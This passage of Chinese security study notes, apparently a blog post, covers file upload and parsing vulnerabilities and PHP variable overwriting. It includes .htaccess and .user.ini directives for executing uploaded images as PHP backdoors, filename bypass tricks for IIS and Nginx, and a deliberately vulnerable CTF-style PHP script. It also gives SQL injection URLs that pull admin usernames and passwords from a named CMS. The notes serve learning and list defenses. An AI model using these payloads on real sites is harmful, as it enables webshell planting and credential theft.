当文件名 info.php.png 中包含关键字 .php ,并且 .htaccess 文件内容如下,info.php.png 中的代码会被执行。
AddHandler php5-script php
3、匹配文件名
以下配置是匹配文件名 ajest ,找到该文件,并执行其中的PHP 代码
<FilesMatch "ajest"> SetHandLer application/x-httpd-php </FilesMatch>
eg:upload-labs 第四关
先上传 .htaccess 文件。再上传 ajest
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=210
Web 容器解析漏洞
Web容器解析漏洞,就是Web 容器在解析脚本出现的"bug"。
1、Apache 解析漏洞(早期漏洞;它会从后面往前开始找后缀名,直到找到为止)
info.XXX.XX.X
2、IIS6.0 解析漏洞
1)asp;.jpg(将文件命令为这种形式即可绕过一些限制)
eg: time.asp;1.jpg
2) 1.asp(将文件夹命令为这种形式,然后其中的其他文件;如jpg文件就会被当做asp文件执行)
3、PHP CGI 解析漏洞
1)IIS7.0/7.5
IIS7.0/7.5+PHP 环境
http://LocaLhost:8000/info,png/1.php(在其文件的URL后面加 1.php(形如这种形式),它会被当成php文件执行)
2)Nginx 空字节漏洞
/info.png/1.php
这种漏洞主要与PHP配置中的 cgi.fix_path info 选项有关
4、Nginx 空字节漏洞
在URL中:文件名的后面加上 %00.php ,则该文件会被当成 php 文件执行
5、Nginx 文件名逻辑漏洞(CVE-2013-4745)
变量覆盖漏洞
foreach($_GET as $key=>$va){ $$key=$val; //若原有name=123;传入name=AJEST;经过此漏洞后,name的就变为AJEST }
foreach 是一个遍历、输出数组的函数;第一个参数是数组,第二个参数是要遍历的值
$$key=$val 表示,将 val的值赋给 key; 然后将 key(此时的key已经不是变量) 作为一个变量
这个函数能修改 WEB应用的参数,即可以修改原有变量的值
存在这种形式的代码,则代表存在变量覆盖漏洞
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=211
常见编辑器上传
编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞。
1、ewebeditor
2、fckeditor
常见CMS 上传
CMS 又叫网站内容管理系统(网站的模板,快速建站,二次开发),市面上很多开源的CMS的历史版本中有很多存在文件上传漏洞,但是产生文件上传漏洞的原因不尽相同,情景也不似本章上文中
介绍的那样"直白"。类似的CMS 有很多,比如常见的dedeCMS、PHPcms 等。
1、南方数据管理系统
注入点:
/news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&;otype=title&;Submit=%CB%D1%CB%F7
/NewsType,asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2BpasSword,2,3 4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''
它是用 asp 编写的 , 使用access数据库 文件后缀为 .mdb
利用数据库备份getShelL|另存|自定义文件的名字
先上传图片木马,在利用另存该后缀名
详细讲解:
https://www.bilibili.com/video/BV1Lf4y1t7Mc?p=212
文件上传漏洞补充
当.htaccess失效时,可以尝试利用.user.ini上传隐藏后门
条件:
1、服务器脚本语言为PHP
2、服务器使用CGI/FastCGI模式
3、上传目录下要有可执行的php文件
.user.ini 的内容:
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。 auto_append_file=a.jpg //解析后进行包含
优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
对于 .user.ini 文件的连接,只需要到 .user.ini和木马所在的文件夹
而.htaccess则是要到对应木马文件
其它一些防御方法:
1、文件上传的目录设置为不可执行(使其无法解析该目录下的文件)
2、判断文件类型(结合MIME、后缀名等方式要求判断,建议使用白名单检测)
3、使用随机数改写文件名和文件路径
4、单独设置文件服务器的域名
5、将文件放到独立的存储上
参考:
https://www.cnblogs.com/20175211lyz/p/11455355.html
变量覆盖补充:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
/*
可以变相成这样理解
例如POST传入的值为 $yds=flag
则第一个foreach中 : $x = yds $y = flag
$$x = $y <==> $yds = flag 改变变量的值
$$x = $$y <==> $yds = $flag 改变变量的名字
它的 $x 和 $y 是根据我们传入的值来确定的
GET型同理
*/
foreach($_POST as $x => $y){ //变量覆盖
$$x = $y;
}
foreach($_GET as $x => $y){ //foreach进行循坏,遍历POST,将数组中的值赋值给$y
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){ //不能同时flag的值等于某个键名,那个键又是flag
//猜测 如果用 & 传入多个值,则默认取第一个&之前的 作为 $x $y
if($_GET['flag'] === $x && $x !== 'flag'){ //变量名为flag
exit($handsome); //exit() 函数输出一条消息,并退出当前脚本。
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //不能同时GET和POST都设置flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //任意都能满足flag==='flag'
exit($is);
}
echo "the flag is: ".$flag; //$flag在flag.php中,且为: $flag = file_get_contents('/flag');
?>
参考实验理解:
https://www.cnblogs.com/upfine/p/16593710.html
https://www.bilibili.com/read/cv18579744
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本